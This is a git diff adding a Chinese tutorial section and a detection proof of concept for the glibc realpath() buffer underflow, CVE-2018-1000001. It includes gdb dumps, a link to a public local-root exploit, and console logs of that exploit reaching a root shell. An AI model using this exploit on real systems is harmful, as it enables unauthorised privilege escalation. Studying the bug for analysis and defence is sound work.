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fix
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firmianay
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@ -20,35 +20,73 @@
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| 调试器 | gdb-peda| 版本号：7.11.1 |
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| 漏洞软件 | glibc | 版本号：2.23-0ubuntu9 |
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漏洞发现者已经公开了漏洞利用代码，需要注意的是其所支持的系统被硬编码进了利用代码中，可看情况进行修改。[exp](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)
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```c
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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#include <string.h>
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void main() {
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//char *path;
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struct {
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char canary[16];
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char buffer[80];
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} buf;
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memset(buf.canary, 47, 1); // put a '/' before the buffer
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memset(buf.buffer, 48, sizeof(buf.buffer));
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//path = getcwd(NULL, 0);
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//puts(path);
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chroot("/tmp");
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//path = getcwd(NULL, 0);
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//puts(path);
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realpath("../../../../BBBB", buf.buffer);
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if (!strcmp(buf.canary, "/BBBB")) {
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puts("Vulnerable");
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} else {
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puts("Not vulnerable");
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}
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}
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```
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$ gcc -g exp.c
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$ id
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uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
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$ ls -l a.out
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-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
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$ ./a.out
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./a.out: setting up environment ...
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Detected OS version: "16.04.3 LTS (Xenial Xerus)"
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./a.out: using umount at "/bin/umount".
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No pid supplied via command line, trying to create a namespace
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CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
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Namespaced filesystem created with pid 7429
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Attempting to gain root, try 1 of 10 ...
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Starting subprocess
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Stack content received, calculating next phase
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Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
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Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
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Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
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Executable now root-owned
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Cleanup completed, re-invoking binary
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/proc/self/exe: invoked as SUID, invoking shell ...
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# id
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uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
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# ls -l a.out
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-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
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```
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过程是先利用漏洞将可执行程序自己变成一个 SUID 程序，然后执行该程序即可从普通用户提权到 root 用户。
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# gcc -g poc.c
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# ./a.out
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Vulnerable
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```
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执行 `realpath()` 前：
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```
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gdb-peda$ x/g buf.canary
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0x7fffffffe4d0: 0x000000000000002f
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gdb-peda$ x/15gx 0x7fffffffe4d0
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0x7fffffffe4d0: 0x000000000000002f 0x00000000000000c2 <-- canary
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0x7fffffffe4e0: 0x3030303030303030 0x3030303030303030 <-- buffer
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0x7fffffffe4f0: 0x3030303030303030 0x3030303030303030
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0x7fffffffe500: 0x3030303030303030 0x3030303030303030
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0x7fffffffe510: 0x3030303030303030 0x3030303030303030
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0x7fffffffe520: 0x3030303030303030 0x3030303030303030
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0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800
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0x7fffffffe540: 0x0000000000000000
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```
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执行 `realpath()` 后：
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```
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gdb-peda$ x/15gx 0x7fffffffe4d0
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0x7fffffffe4d0: 0x000000424242422f 0x00000000000000c2 <-- canary
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0x7fffffffe4e0: 0x68636165726e7528 0x6f682f29656c6261 <-- buffer
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0x7fffffffe4f0: 0x746e7562752f656d 0x6f64666c61682f75
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0x7fffffffe500: 0x3030303030300067 0x3030303030303030
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0x7fffffffe510: 0x3030303030303030 0x3030303030303030
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0x7fffffffe520: 0x3030303030303030 0x3030303030303030
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0x7fffffffe530: 0x00007fffffffe620 0x13ca8a6b7215a800
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0x7fffffffe540: 0x0000000000000000
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gdb-peda$ x/s 0x7fffffffe4d0
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0x7fffffffe4d0: "/BBBB"
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gdb-peda$ x/s 0x7fffffffe4e0
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0x7fffffffe4e0: "(unreachable)/home/ubuntu/halfdog"
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```
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正常情况下，字符串 `\BBBB` 应该只能在 buffer 范围内进程操作，而这里它被复制到了 canary 里，也就是发生了下溢出。
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## 漏洞分析
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@ -682,6 +720,36 @@ char *canonicalize_path_restricted(const char *path)
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被调用的程序文件中包含一个 shebang（即"#!"），使系统调用了漏洞利用程序作为它的解释器。然后该漏洞利用程序修改了它的所有者和权限，使其变成一个 SUID 程序。当 umount 最初的调用者发现文件的权限发生了变化，它会做一定的清理并调用 SUID 二进制文件的辅助功能，即一个 SUID shell，完成提权。
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Bingo!!!（需要注意的是其所支持的系统被硬编码进了利用代码中，可看情况进行修改。[exp](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)）
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```
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$ gcc -g exp.c
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$ id
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uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
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$ ls -l a.out
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-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
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$ ./a.out
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./a.out: setting up environment ...
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Detected OS version: "16.04.3 LTS (Xenial Xerus)"
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./a.out: using umount at "/bin/umount".
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No pid supplied via command line, trying to create a namespace
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CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
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Namespaced filesystem created with pid 7429
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Attempting to gain root, try 1 of 10 ...
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Starting subprocess
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Stack content received, calculating next phase
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Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
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Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
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Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
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Executable now root-owned
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Cleanup completed, re-invoking binary
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/proc/self/exe: invoked as SUID, invoking shell ...
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# id
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uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
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# ls -l a.out
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-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
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```
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## 参考资料
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- [LibcRealpathBufferUnderflow](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/)
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- https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
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29
src/exploit/7.1.5_glibc_2018-1000001/poc.c
Normal file
29
src/exploit/7.1.5_glibc_2018-1000001/poc.c
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@ -0,0 +1,29 @@
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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#include <string.h>
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void main() {
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char *path;
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struct {
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char canary[16];
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char buffer[80];
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} buf;
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memset(buf.canary, 47, 1); // put a '/' before the buffer
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memset(buf.buffer, 48, sizeof(buf.buffer));
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//path = getcwd(NULL, 0);
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//puts(path);
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chroot("/tmp");
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//path = getcwd(NULL, 0);
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//puts(path);
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realpath("../../../../BBBB", buf.buffer);
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if (!strcmp(buf.canary, "/BBBB")) {
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puts("Vulnerable");
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} else {
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puts("Not vulnerable");
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}
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}
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